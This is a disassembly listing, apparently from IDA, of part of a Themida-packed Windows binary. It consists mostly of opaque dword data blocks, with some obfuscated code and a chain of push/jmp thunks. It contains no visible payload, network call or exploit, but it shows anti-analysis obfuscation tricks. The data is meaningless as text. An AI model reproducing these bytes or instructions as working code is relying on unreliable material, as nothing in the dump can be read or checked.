		dd 5E9h, 1B800h, 0BD830000h, 0AE32269h,	7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 2391858Dh, 85890AE9h, 0AE32F8Dh
		dd 7E8h, 80E47E00h, 0E9172E49h,	8E8h, 53B0B300h, 556453FAh
		dd 6810F5Fh, 81000000h,	42791AC0h, 815E5978h, 0E76C0BD8h
		dd 98C68104h, 0E8000062h, 0Eh, 0F0AF291Fh, 0FF191426h
		dd 0FD5FD63h, 8B601B2Bh, 0D08B66D7h, 78BB5F61h,	57000018h
		dd 8B585956h, 5BEA8116h, 664C42D3h, 7607E981h, 0A6CCF281h
		dd 13E86D9Fh, 91000000h, 0AA145920h, 4A90990Dh,	2EC8A736h
		dd 463F1C20h, 81664A44h, 5F36CBC0h, 0D9C4EA81h,	0E1815757h
		dd 19355D56h, 5870F52h,	0BF000000h, 5D5AC383h, 0B70F068Fh
		dd 3EE83C2h, 664EFB8Bh,	4BB150B8h, 0FFA1850Fh, 6E9FFFFh
		dd 0EA000000h, 0A636EBAFh, 0B48D8D70h, 8B0AE925h, 0E3019DBDh
		dd 798D890Ah, 8B0AE314h, 0E333D5B5h, 0C985C70Ah, 600AE306h
		dd 6A000064h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 18B2C350h, 99A94EEFh, 29BAF074h
		dd 667BF2AFh, 0FD2E781h, 2F85B509h, 85C70AE3h, 0AE30069h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5E4A77
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E4A77	proc near		; CODE XREF: Themida_:005E4A6Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5E4A77	endp

; ---------------------------------------------------------------------------
		test	al, 73h
		pop	esi
		scasd
		pop	ds
		push	dword ptr [ebp+0AE31161h]
		mov	bh, al
		call	dword ptr [ebp+0AE326B5h]
		push	ecx
		movsx	edx, si
		pop	edx
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5E4AC8
; ---------------------------------------------------------------------------
		db 9Ah
		dd 3F16970Eh, 0F8748110h, 7C8FB9E6h, 22A387FBh,	0B8F103E6h
		dd 0CFC593E2h, 8D6F4461h
; ---------------------------------------------------------------------------


loc_5E4AC8:				; CODE XREF: Themida_:005E4AA9j
		jmp	loc_5E4BB4
; ---------------------------------------------------------------------------
		lds	eax, [eax+6Bh]
		xor	al, 0D7h
		pushf
		inc	ebp
		retf	0C8C3h
; ---------------------------------------------------------------------------
		db 0E1h
		dd 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h, 5D20A7ECh
		dd 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh, 94A19692h
		dd 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch, 7695ACA3h
		dd 97B1EFh, 0A5B4F94Eh,	6B5C009Fh, 924AF07Bh, 52D0008Ah
		dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh
		dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h
		dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh
		dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h, 0F0A8CDh
		dd 0
		dd 129D7447h, 5E99E0E3h, 0Ch dup(0)
; ---------------------------------------------------------------------------


loc_5E4BB4:				; CODE XREF: Themida_:loc_5E4AC8j
		jmp	loc_5E61E5
; ---------------------------------------------------------------------------
		push	0AE928EAh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE929BFh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92A9Fh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92BDFh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92C68h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92D0Bh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92DBDh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92E96h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE92F31h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE930EAh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE93216h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE933D4h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE934E7h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE93671h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE937A9h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE93989h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE93A96h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		db 38h
		dd 0AFE25891h, 176A201Fh, 93F6A463h, 1C7129EEh,	0ACFBAF68h
		dd 0F932423Eh, 40B9CC01h, 0C906B78Ah, 538C3C11h, 0BDEE6CE7h
		dd 3BF68494h, 497E8C69h, 6F42C803h, 3A28E25Dh, 0EE62C83Eh
		dd 0ED00C78Bh, 46DFAAC4h, 0E0A9F299h, 0FCD82327h, 0C7DB2F7Ch
		dd 0BEB23CFCh, 0FC85C4EDh, 3FF2993Bh, 8663901Bh, 64993BFCh
		dd 0F151EEFAh, 605B4D95h, 4B000000h, 3F8335A8h,	0DFAB436Ch
		dd 0BE711A46h, 52942F9Ch, 896B1617h, 7870FAD6h,	0B528AC8Eh
		dd 0FF81CA05h, 1FCFD03Ch, 0F63CFC54h, 0ABFEE93h, 0BFE4DCDh
		dd 0BCE9B258h, 323BFC52h, 4954B30h, 0DAD067D8h,	0EA9B47FEh
		dd 0AC5F7h, 813ED13Bh, 8B4D956Bh, 0EDh,	0C13A4A2Fh, 1535F298h
		dd 49BAEA26h, 6F42C803h, 197C9E59h, 5F982E73h, 16EA6EECh
		dd 0DFAB1C45h, 0CE0AF146h, 0C466A1EBh, 0AAF21B40h, 20CB46DFh
		dd 300714F4h, 6846DFA7h, 0CF43E720h, 0A6F7204Bh, 0DDCE46DFh
		dd 0DFA7A1CAh, 69117446h, 0EC5FACAEh, 0D7E5D8A0h, 117AFE1Ch
		dd 87E2304Fh, 4CE0A9Fh,	0EB245444h, 1299C6Fh, 63A4E88Dh
		dd 7F599226h, 0FC4B942Ch, 0EAA04B3Ch, 0A4868078h, 17F80FF7h
		dd 0B9C26632h, 60C76508h, 0BFE83B36h, 9646D98Eh, 0B26BB2E5h
		dd 81E1E886h, 47096CCEh, 0ED3B3804h, 0DB8E841Bh, 0A19A2A6Fh
		dd 0E5B96D67h, 1EB05409h, 136Eh, 6BDF18A3h, 0F3A76016h
		dd 7F2BEC9Eh, 0FAB0691Ah, 4436F187h, 0BBCDB72Bh, 0B78A40h
		dd 893E13C7h, 15A79A50h, 17E360DAh, 0F6831B44h,	707F23Bh
		dd 16C40749h, 9C4E8933h, 0A4A2A68Ch, 9425D586h,	63083CFCh
		dd 9287B4E7h, 58C53BFCh, 0C935B296h, 0C13F4D95h, 6F000000h
		dd 0BCEA23A8h, 70E3393Dh, 76A2652Bh, 0BCBE7903h, 0D24A7338h
		dd 782346DEh, 0F799FC1Ch, 0AE851634h, 0EE46DECEh, 54A961DAh
		dd 0E56FEB24h, 94C763E5h, 3CFBE3FCh, 0A47BA8D3h, 2FB07AB6h
		dd 37AA8E7Ch, 0C30D4780h, 0A5390107h, 107CBDC0h, 17BA960Fh
		dd 20ACDF32h, 6DAAD3F8h, 512B1EEDh, 0A0F8D4C7h,	0ECB6DF8Ch
		dd 9C8F46D8h, 586C0129h, 0A6D62B9Fh, 0FA973B65h, 6A8E09E5h
		dd 1299B4h, 0AC3F600h, 924D7D50h, 16D1E5D8h, 9B5C61A4h
		dd 61DAEA2Fh, 108C7EA9h, 9AFFAB6Ch, 57832EBh, 8ACFBB74h
		dd 0BE5505FEh, 82466F3Ch, 621F3BF6h, 0C4074924h, 4E893316h
		dd 1A4368ECh, 0F346DFABh, 2C7CCC08h, 0CB8435A8h, 141891D5h
		dd 34D6896Bh, 1CAC8DC7h, 36422723h, 86C80DFDh, 9E5C53C1h
		dd 64D70252h, 0A1962E6h, 75D10517h, 0F83F4388h,	0D40FBD9Ch
		dd 1DAFC266h, 2256F622h, 2281EDAh, 0FC349D59h, 290BF03Ch
		dd 72754A76h, 2A71F54Dh, 49763501h, 0CB0CB1D4h,	36323C18h
		dd 0ED416AD0h, 803F9330h, 3996BFECh, 0BC6F4F55h, 3FF22D5Fh
		dd 9222471Bh, 0E4AB159h, 380204C4h, 6FCDB573h, 0DB800445h
		dd 4972CCB2h, 74B4E08Bh, 0BACEA387h, 4B48941h, 1AE791CBh
		dd 4EE2074Ch, 11B9A8h, 6AA3D600h, 0F22D5DB0h, 76B1C538h
		dd 0FB3C4184h, 41BACA0Fh, 706C9E89h, 0FADF8B4Ch, 655812CBh
		dd 0EA2F9B54h, 9EB565DEh, 81668FDCh, 423F3BF6h,	0C8034944h
		dd 610A8E42h, 46DFAB38h, 7C0880Dh, 0B453803h, 3B3F09C1h
		dd 7DB6C2A7h, 1226EDDh,	3CFCBA25h, 0D279378h, 2C7FFB4Dh
		dd 3219910Ch, 346158C3h, 7DF025Ch, 4932B654h, 80D7DF98h
		dd 285EBBEEh, 0B4E06BEFh, 0DEC54673h, 0C3A68446h, 6CDF7BBCh
		dd 7F491520h, 477636C6h, 4FCAh,	0A2A6BA00h, 6F0286A4h
		dd 70B39D5Ah, 3CFCDD1Dh, 2FA38774h, 5CD700ABh, 0FDAE3BFCh
		dd 4E11A693h, 2D0DC039h, 20570648h, 259863E7h, 0FA3F4025h
		dd 0D338EB50h, 1FEC6EA9h, 17465535h, 0C73BFC5Dh, 4D807AB5h
		dd 0EA25553Ch, 0DB7D1337h, 29000010h, 86A4A2A6h, 0F6C51ED5h
		dd 0DE1C0F3Ch, 14D611BBh, 44904B71h, 0FB81C4h, 0B690481Ah
		dd 0A205E7B4h, 0F99C320Dh, 3BF484D5h, 0D1792C1Fh, 0F40B376Ah
		dd 0F9F020C6h, 5AE08B9Fh, 78549327h, 34EF9DF0h,	0BE790346h
		dd 77B0D9BCh, 7377FD1Dh, 6065595h, 893CFBD2h, 110EA6E2h
		dd 133714C3h, 10797Dh, 2AE39600h, 0B26D1D70h, 36F185F8h
		dd 0BB7C0144h, 1FA8ACFh, 30AC5E49h, 0BA9F4B8Ch,	2518D20Bh
		dd 0AAEF5B94h, 0DE75251Eh, 80264F1Ch, 2FF3BF6h,	87D4A804h
		dd 46DFAB5Eh, 96B47506h, 6AA655A5h, 0DFAB0C39h,	0CD3B3F46h
		dd 0C8743E6Dh, 170B3CF6h, 0F6861B44h, 5609F23Bh, 10CBF194h
		dd 0DAE3865Ah, 0B2C6331Dh, 5713D179h, 0A6F549F1h, 3BF6867Dh
		dd 8E9C5F61h, 0F4A7B39Dh, 32139518h, 22588477h,	1F09E952h
		dd 0FF045FBh, 9A210000h, 0E694E9A1h, 6A1C7129h,	0F798FDADh
		dd 73057832h, 35A5C2B8h, 8C2054Bh, 91498235h, 18D20FBCh
		dd 0EE5C9725h, 9DC69565h, 703BF67Fh, 3498585h, 5D6F42C8h
		dd 0CA7378E2h, 0D4A74068h, 0E69B4776h, 6F515D6h, 0DE7CB7C5h
		dd 69E1236Dh, 8D00000Ah, 86A4A2A6h, 0F6C81CD5h,	0BECCA13Ch
		dd 2672D941h, 143D6E02h, 0E93BF686h, 85FD2675h,	2BD03BF6h
		dd 0C0A58578h, 0B68B7FB8h, 5A41C902h, 3BF6862Dh, 0DBA1ADEh
		dd 12C536D4h, 95A78328h, 53363213h, 87A3ED2Ah, 5200A894h
		dd 0E51909E9h, 0F4D43h,	0FE374200h, 4681C90Ch, 0CA0DB194h
		dd 4F883D10h, 0D516A69Bh, 0ECD80A65h, 56AB1FD8h, 0D134E627h
		dd 46BB6FA8h, 201F932h,	7DFA2348h, 26D33BF6h, 8735A8E0h
		dd 0AB47703Bh, 6D1E46DFh, 8FAB90BAh, 0DFAAB3DCh, 0B7E18A46h
		dd 256B3642h, 571378E2h, 0FC644A87h, 73974A3Dh,	0A9B16A1Eh
		dd 8F590542h, 477607F6h, 9AFFAh, 527FAA00h, 0F546DFABh
		dd 84D713F5h, 3CF6C58Bh, 5DD11902h, 0F684E50Eh,	0F9D3B83Bh
		dd 0B36C1C71h, 6DA6D2B7h, 5662A723h, 0F3F77D9Dh, 0A51D515h
		dd 3BF684E1h, 4D8DC7B4h, 1394421Eh, 326E1D32h, 9E952DCh
		dd 9B0FA145h, 0F400000Eh, 7B5E0CC5h, 0E3269453h, 6FA218DFh
		dd 0E82D9D5Ah, 78B763A4h, 0AD6E1E8Ah, 34F598FDh, 0BD7A0346h
		dd 7C088CDh, 713AB053h,	3BF67E48h, 492A601Dh, 6F42C803h
		dd 7378E25Dh, 2AE392F7h, 4C1FDB20h, 46DFAB23h, 0EC711FAh
		dd 0D4FB84A4h, 11F14776h, 9D000009h, 86A4A2A6h,	0AB305902h
		dd 1A2246DFh, 593E97D0h, 0A6F299F1h, 15BBDE52h,	31A586D2h
		dd 0CC3CF649h, 2624E7A9h, 0A1406E55h, 0EB5E68D3h, 0AE9073B8h
		dd 0FAD6EF53h, 187DFDAEh, 6FC3B770h, 48037C0Ah,	0E49D9B08h
		dd 4EBD5D10h, 0AA651702h, 365F0C80h, 283BF5E1h,	76CD3FD0h
		dd 3AE1399Dh, 44713ADEh, 0C73BF638h, 0A1250503h, 0F637D1FAh
		dd 9DF7A43Bh, 47320E5Dh, 0BE6D3213h, 0E97D8A42h, 0A147FB09h
		dd 0DC2h, 8773ACDFh, 0FFB3442h,	8B7FB8CAh, 16C405B6h, 904A8D33h
		dd 57796397h, 0DCE32694h, 5D6AAF1Bh, 0A9D336E4h, 0C397BC6Eh
		dd 0F67D6F98h, 535B463Bh, 42C80349h, 78E25D6Fh,	4068CA73h
		dd 4776D4A7h, 847ADh, 35A8D900h, 78004982h, 64B09BBFh
		dd 0DFAB1B43h, 0FDAE2246h, 46DFAAD4h, 4C96C2A9h, 0EBB0BA8Ch
		dd 3CF6C4E0h, 7568D2B9h, 0FBDE8C47h, 0A7D416D1h, 1627CBF4h
		dd 2BCF09B5h, 83A7A159h, 13A04CD8h, 5C0F2332h, 46D58033h
		dd 72AE610Ah, 9E96890h,	27DB7D91h, 7800000Dh, 0EF229851h
		dd 57AA60DFh, 0D336E423h, 5CB169AEh, 0EC3BEF28h, 39F282FEh
		dd 80790C41h, 9C6F7CAh,	934C7C51h, 0FDAE2C27h, 3BF67BD4h
		dd 49BECCA9h, 0D5644803h, 0CA8F17B9h, 87BCDA6h,	0E41DC2Ch
		dd 1222560Fh, 8EAC1F3Ah, 8E8D5BFDh, 0CD07A062h,	0C700482Dh
		dd 82F41863h, 0FD7D3429h, 0B0FC8h, 68D7034Dh, 0F19B6BF7h
		dd 3EC74436h, 4477687h,	7C9E5961h, 0B383458Fh, 0F3000001h
		dd 42C80349h, 38610A8Eh, 0D46DFABh, 0B5C7321Eh,	0A6A2807Ah
		dd 7DD19AA0h, 103CFCC8h, 5D10CBFDh, 0E14AEE9Dh,	92C50649h
		dd 84A6350Bh, 0FC20AED7h, 0B894873Bh, 20DE0B90h, 0E31C3BFCh
		dd 672B4E7Fh, 751BAA0h,	955E2BD4h, 66214Dh, 0E4990000h
		dd 3FC8DD4h, 17413407h,	8235A817h, 1E7AC149h, 37B214D4h
		dd 5EAFFA0Eh, 0D68BAF62h, 17E466A7h, 0BE6E3D3Dh, 913CFC1Eh
		dd 0DD90497Ch, 0B1C4B93Dh, 0DE0B1C78h, 1C3BFC3Bh, 0D314BBDEh
		dd 0F087C437h, 0BE20DD37h, 66A3E88Dh, 2E8597E4h, 0F223BFB8h
		dd 8522D53Fh, 8F4D95D1h, 0DAh, 0C700B62Bh, 889CF843h, 62C80349h
		dd 0AB94BDEEh, 826946DFh, 4B2EA256h, 0F645C502h, 0CE09BF9Ah
		dd 8641096Ch, 0A12AAE4Ah, 9BE2BD2Fh, 0DF3A16CAh, 74C872ADh
		dd 0DEEAFE27h, 2B540746h, 246DEEBh, 3E1A0119h, 9923461Ah
		dd 54FBC5Eh, 0FFAB6414h, 0DF02E5ACh, 2CE79546h,	12F4F47Eh
		dd 0D7275428h, 7913CA84h, 2FD8DCEh, 0C6D93318h,	3CFB02C7h
		dd 11955546h, 20A5CE9Dh, 93783BFAh, 0EB2C50B9h,	71AADA3Fh
		dd 0C4C8BB37h, 28CE6214h, 0B6Eh, 6BDF18A3h, 0F3A76016h
		dd 7F2BEC9Eh, 0FAB0691Ah, 4436F187h, 0BBCDB72Bh, 0B78A40h
		dd 893E13C7h, 15A79A50h, 17E360DAh, 0F67B1B44h,	707F23Bh
		dd 376E23A8h, 9DFC2576h, 2AD146DFh, 6B0DB0F7h, 4384C821h
		dd 0CD06B297h, 3490D1Dh, 7B0F62C8h, 973B9EBCh, 8E41CA50h
		dd 89339642h, 0D57A9C4Eh, 0E6000005h, 94BDEE62h, 6946DFABh
		dd 0AB466F82h, 6C1F46DFh, 0A2A6FC20h, 6F0286A4h, 75B6E25Dh
		dd 3CFCAAC9h, 4FA20774h, 8AA0C77Dh, 0A9B15A4Eh,	0E10A51D5h
		dd 0B43BFC2Ah, 6D9A8DC7h, 0E33BFC2Bh, 0D6E93C4Fh, 1043BCCAh
		dd 479139DCh, 7B04248Eh, 474D95C7h, 6C25B934h, 622850EBh
		dd 0E356A5A5h, 27C97A9h, 7F070000h, 46DFAB55h, 2A10F6F2h
		dd 0A43B6DA1h, 0D400606Dh, 70465704h, 7C2F3CF6h, 36F19BFEh
		dd 0C2EBB034h, 0BC3BF637h, 0F91D1BA8h, 0B15AB046h, 1AAEE367h
		dd 0E7721921h, 15290A34h, 90B9E248h, 653BF5ACh,	34BE5AB6h
		dd 0F5324434h, 1575DC82h, 0C3B6C503h, 0ECA83467h, 54473212h
		dd 0EA3C8E68h, 0B1578B09h, 0A42h, 7F32C5Fh, 8F7BB4C2h
		dd 0BFF384Ah, 96448536h, 10CA0DB3h, 0D7F9E317h,	5C63A614h
		dd 0DDEA2F9Bh, 2953B664h, 43173CEEh, 0F678EF18h, 0D3DBC63Bh
		dd 5E87D4A8h, 3746DFABh, 13C3DEC4h, 9E518ADEh, 0FA3547B2h
		dd 944F7D50h, 22A98976h, 9DCD69C4h, 0CD785445h,	0FB8161h
		dd 0CF34B14Ah, 0B33C4776h, 68000001h, 90480349h, 8BB2CD18h
		dd 0AA0977F5h, 45381779h, 0C2B57204h, 0D8E18458h, 5407C089h
		dd 2E0B45B6h, 7BE9A19Ah, 2DA1897Fh, 0DEAF557Eh,	8AB3F846h
		dd 6346DEAFh, 5FB962B8h, 5562079Bh, 0CCBF780Ah,	9093FD4Eh
		dd 3CFBCC3Ch, 60D9EE83h, 307F434h, 0A49D2A4Fh, 507922A6h
		dd 253BFBD2h, 56498376h, 3BFBD229h, 0EECB8435h,	16DA0159h
		dd 45382295h, 6951F932h, 530A6EF0h, 27501B9Fh, 0FE3BFC6Dh
		dd 0A80AC30Dh, 7CB5C2A7h, 0EA46FF10h, 584A4D95h, 3A000000h
		dd 4C8735A8h, 0C9137DCEh, 5E333711h, 18ACED2Eh,	3665F5DFh
		dd 3CFC9486h, 0D3B88269h, 24E7AF34h, 0B2DB80CDh, 8B3BFBC6h
		dd 37E32DE0h, 0FBC73764h, 5592273Bh, 6CADD0B5h,	0FB679EEEh
		dd 8D51CEBDh, 953402BBh, 295D304Dh, 0B59F6CEEh,	0BF93h
		dd 0B2D700h, 49998DC7h,	0F62C803h, 0A555BF78h, 0DF7BBCC0h
		dd 0F515CEFAh, 7B2FE890h, 0DFD9F930h, 0DF8C0046h, 46DF57B6h
		dd 0BBCF08BEh, 1C68BD0h, 0F3E63219h, 985C0EC9h,	3C18D3E5h
		dd 6AD03632h, 0FF5CB061h, 0BC981AD5h, 21F0EFBCh, 0C2A93CFBh
		dd 0B8730578h, 6CABDFB2h, 77A19E2Fh, 893A5F93h,	63150450h
		dd 0CA50893Eh, 52528E41h, 0D314C528h, 884993Fh,	0EE9D0000h
		dd 7A004535h, 0C688CDBDh, 43744901h, 0CFF1D486h, 0A1515E0Ch
		dd 0E4569127h, 6DDD1EA1h, 0F4A66328h, 7A30EB91h, 315A01C9h
		dd 43BF678h, 35A81119h,	7BC04A85h, 53943811h, 0DD16A2E7h
		dd 0A9D2991Dh, 7C46DFABh, 0B5C5458Fh, 42C80349h, 28E25D6Fh
		dd 2F716h, 0A2A68600h, 217DCC24h, 0B96D55A2h, 4F3D7043h
		dd 0EB4F02F3h, 0F5FD15C0h, 1B3FEC3Ch, 0F5BC6390h, 2459993Bh
		dd 0DEB35790h, 53B86BACh, 9E6DED2Ah, 0F1D79BB2h, 4D9F3F74h
		dd 2707Ch, 557F2800h, 0FC46DFABh, 0D97C168Fh, 0C00CB615h
		dd 66C44206h, 3EF98FE2h, 0DF9CC2EBh, 0A4F09B46h, 0F5CD054h
		dd 46DF9CE6h, 9F80CCBFh, 3CF6B75Ch, 6EABD035h, 8EAC1FECh
		dd 0CEF3A2EBh, 43755609h, 5FB98288h, 19D2E69Bh,	0E35C6CA1h
		dd 1BEDED67h, 94008CDFh, 0CB4F3213h, 9A805780h,	1D70AFB1h
		dd 46D525F4h, 0B2F622C9h, 6EEC2B5Fh, 72D43F1Dh,	0B6698E88h
		dd 0E21399C3h, 0EA0E09E9h, 77134h, 221BAE00h, 0AA651568h
		dd 2EE99DF0h, 0B374197Ch, 39F282C7h, 0C8B42641h, 0B2974384h
		dd 3D10CA03h, 0A2E7538Ch, 0E66DDD16h, 771E4714h, 0AF73BF6h
		dd 0C80349FCh, 0E25D6F42h, 18A1C458h, 0ABA3CCDFh, 917A46DFh
		dd 8BA49347h, 3B432627h, 0ACED5EFCh, 0D13A2019h, 0ADE69287h
		dd 0C37E05ABh, 67D386A5h, 76FF5BE4h, 76026747h,	0EDA0672Bh
		dd 8643086Dh, 88C4B784h, 17876h, 3492600h, 0FD8E42C8h
		dd 0F7F5EAB2h, 0B6EAAE6h, 0C1A48641h, 355E0DBDh, 846DEEFh
		dd 0E464B063h, 0BEBC8A4Eh, 0C971B6DBh, 0DEEF79A2h, 755F4C46h
		dd 0C62B6E5h, 1E0D3CFCh, 80C0AFDCh, 7A73372Bh, 366FA1Eh
		dd 0AF9CBE79h, 52154265h, 0AA4B3BFCh, 8D872008h, 0C6BB4D95h
		dd 67D476B7h, 321B2Dh, 0A68B0000h, 0E386A4A2h, 3A3E1ADDh
		dd 0FC94C171h, 9921443Ch, 92598229h, 7F2C3BFCh,	0B358408Ch
		dd 91D70497h, 0E8153BFCh, 0C9C56246h, 0BECF4D95h, 0BF000000h
		dd 42C80349h, 7C9E596Fh, 9D2E7319h, 0C61E95Ch, 23A7837Ch
		dd 0DFAB4F78h, 1B752646h, 0A6D68BAFh, 5A0DCAF3h, 466F3CB0h
		dd 1F46DFABh, 4C5FB96Ch, 46DFF125h, 0BE6CA7D5h,	0E852B4B4h
		dd 0FAD8C4C3h, 3E6953Ch, 7A21648h, 3EED3D17h, 7437593Ch
		dd 0E895A9A0h, 4586C961h, 166BDF92h, 6089D266h,	43BFA68h
		dd 0A992B871h, 658EDD51h, 383BFA68h, 0F32DE053h, 14C48157h
		dd 0E7F4AA4Eh, 38000005h, 0AFE25891h, 176A201Fh, 93F6A463h
		dd 1C7129EEh, 0ACFBAF68h, 0F932423Eh, 40B9CC01h, 0C906B78Ah
		dd 538C3C11h, 0BDEE6CE7h, 3BF67594h, 497E8C69h,	0EC255207h
		dd 702A9D6Eh, 0C6B46F1Dh, 5E0349B6h, 96576629h,	36D48774h
		dd 0B52812C5h, 0F843C700h, 73197C9Ch, 53C9B2B8h, 0A84A8E7Ch
		dd 0B355351Fh, 4Ch, 0C80349EBh,	610A8E42h, 46DFAB38h, 0CA50893Ch
		dd 16422941h, 0BC5E9923h, 767E0DD1h, 0D817BBC1h, 1BC77E5Ah
		dd 5406C18Bh, 0D3981C90h, 46DEF1AAh, 5C859883h,	3146DEF2h
		dd 23E80E4Ah, 68000000h, 82884375h, 0BC5E992Fh,	6CB09C4Fh
		dd 498235A8h, 0A59E2A0Fh, 0AACAF6A5h, 87BC46DFh, 4681CBDBh
		dd 23A88494h, 84AFF97Ch, 14A2E748h, 0F098F1DBh,	3A5F1337h
		dd 0FB054F88h, 7A2109FFh, 3CF699C3h, 0C272077Ah, 0F6A17099h
		dd 0E356453Bh, 0A08A71A9h, 9644BFCDh, 4CCE09B3h, 0E644C286h
		dd 0DBED3B5h, 69D1BA32h, 0C60B4474h, 542D691Bh,	645911C4h
		dd 0F57F9B54h, 84D713F5h, 3CFC1D84h, 0C835B0DBh, 0B7CAFAF8h
		dd 625E4D5Dh, 14C31FDCh, 0AF8F21C5h, 0E0000004h, 57AA60D9h
		dd 0DF32E827h, 5BBE6CABh, 0C439F136h, 648377B0h, 817A0A76h
		dd 8C1F4C9h, 914E7F52h,	1BD4E4D9h, 85D6A4AFh, 3BF6745Ch
		dd 49464431h, 3F12C803h, 0F5E8528Dh, 2BCF09C2h,	2D5F02B6h
		dd 72985164h, 0E763D689h, 17A7DA18h, 9D41FCD8h,	0D6847F0Dh
		dd 904F7F12h, 0D0EA9344h, 6A1E4776h, 8E000000h,	0A8D3A2A6h
		dd 0B5C3E72Eh, 0EC156862h, 0C146DF3Ah, 224B10DAh, 0FB46DF3Bh
		dd 0CE9D5D10h, 3CFC6D7Bh, 4DC16912h, 0FC6CF51Eh, 0D880EF3Bh
		dd 25A442EBh, 0E10A51D5h, 0B43BFC7Ch, 303814C7h, 7F32C5Dh
		dd 0FC7CC5F4h, 2CE7953Bh, 9591FA7Eh, 76055C68h,	0DCEDCC08h
		dd 0EF41E763h, 81000003h, 4417D9ECh, 3BFC501Bh,	7A5609F2h
		dd 0C803492Ah, 0E25D6F42h, 483E3A28h, 0DFF904A4h, 1BDF92ABh
		dd 1AD3E287h, 0A699ED3Eh, 7F43CFCh, 0A76B9803h,	4B733BFCh
		dd 662B8E8Ch, 952B9A1h,	0B8878344h, 0EE5DDB87h,	22DBED71h
		dd 264D95D0h, 47h, 0B723A856h, 0FC206A9Fh, 8D4D97C1h, 0EEA19A2Dh
		dd 0C06F1F4Ch, 55463CFBh, 0DDB9E6B5h, 14A53BFBh, 285A3FDBh
		dd 1C496BEFh, 0CE772652h, 790E6364h, 1AA35480h,	384D951Dh
		dd 9AF63145h, 0E168h, 19ADC000h, 49B2F2DEh, 0EE62C803h
		dd 77C3309Dh, 0C9DC7B61h, 46DF5AA0h, 1E538675h,	516C9185h
		dd 4C21C903h, 665BFF38h, 1C719952h, 0B4C7B36Ch,	46DF2DDDh
		dd 66D40FBDh, 0BC5E9923h, 16D43236h, 0FC402145h, 4B3FEC3Ch
		dd 0C367E199h, 1E1AA3B8h, 86D2F85Fh, 7B182972h,	79FD3217h
		dd 0D99F0932h, 1358DC46h, 46D99EEAh, 0B265D8C3h, 68A3D588h
		dd 99295FB2h, 0D99FA9D2h, 480F7C46h, 1BA6E399h,	0E9D38679h
		dd 9E5F765h, 0CF26D87Ch, 0C0000002h, 0B78A40B9h, 3F12C807h
		dd 0BB9E4C8Bh, 2419D116h, 84E35790h, 0E15A6A56h, 68A1D429h
		dd 0F12E5FB2h, 7BB4C439h, 0A5F6848Fh, 3BF6727Ch, 0A866A451h
		dd 496B5623h, 0FAD6561Bh, 0C2EE99Fh, 0A8E42769h, 50791CD0h
		dd 0BC57A497h, 5E65834Ah, 0BA750772h, 0A2A6B8C0h, 25D586A4h
		dd 83CFC94h, 0BCB4C763h, 4A5D713Dh, 4B50F8D4h, 3BFC691Eh
		dd 7FED9E5Ch, 0A08FB22Eh, 0D39FB6E2h, 95AE48F5h, 0D7404Dh
		dd 64F80000h, 0FC210E37h, 0D834E73Bh, 0C80349C4h, 0A5EB8E42h
		dd 0AB1D4615h, 0BF046DFh, 8E497358h, 6455BF8Ch,	3E539750h
		dd 0E5DD18Ah, 0E6BC3394h, 0BD31D933h, 98497239h, 6F1C46DFh
		dd 942B0225h, 497346DFh, 0D3F9DC8Eh, 7870F218h,	0DBFFAC8Eh
		dd 623CFCA6h, 662B7A0Fh, 9F52B9A1h, 54B907Bh, 9E9296C2h
		dd 0FC73A4CDh, 0DF92793Bh, 701F96Bh, 19887823h,	3CEF3218h
		dd 0F2355B3Eh, 78B3C538h, 0E61FF60Ch, 51F72B09h, 1C2h
		dd 8773ACDFh, 0FFB3442h, 8B7FB8CAh, 16C405B6h, 904A8D33h
		dd 57796397h, 0DCE32694h, 5D6AAF1Bh, 0A9D336E4h, 0C397BC6Eh
		dd 0F6716F98h, 535B463Bh, 5E87D4A8h, 1046DFABh,	0C04519A8h
		dd 98839760h, 80CC0BB3h, 7624E7A9h, 0FCAE6913h,	0C80349ACh
		dd 0E25D6F42h, 6CA7D528h, 0F8214ACEh, 0CD46DFAAh, 0AAD902A9h
		dd 0FFAC46DFh, 5A28C00Ch, 0E82A89Eh, 0A8E4236Bh, 0FCC5E777h
		dd 5D9D8E3Ch, 0B3579038h, 0A5EC0C48h, 50893C51h, 6465C904h
		dd 9CBE7901h, 46ADAB2Fh, 4336DC63h, 5F982009h, 118179EBh
		dd 70FAAD6Eh, 18EC4B2Bh, 0F1190232h, 1744EC9Ch,	46DEEBEEh
